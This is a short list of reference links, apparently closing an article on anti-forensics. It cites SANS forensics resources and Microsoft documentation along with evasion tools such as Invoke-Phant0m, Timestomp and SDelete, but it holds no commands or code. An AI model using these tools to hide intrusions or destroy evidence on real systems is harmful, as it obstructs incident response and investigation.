- SANS Digital Forensics and Incident Response: https://www.sans.org/digital-forensics-incident-response/
- Anti-Forensics Techniques (SANS Whitepaper): https://www.sans.org/white-papers/
- Invoke-Phant0m: https://github.com/hlldz/Invoke-Phant0m
- Timestomp (Metasploit): https://docs.metasploit.com/
- SDelete (Sysinternals): https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete
- NTFS Alternate Data Streams: https://docs.microsoft.com/en-us/archive/blogs/askcore/alternate-data-streams-in-ntfs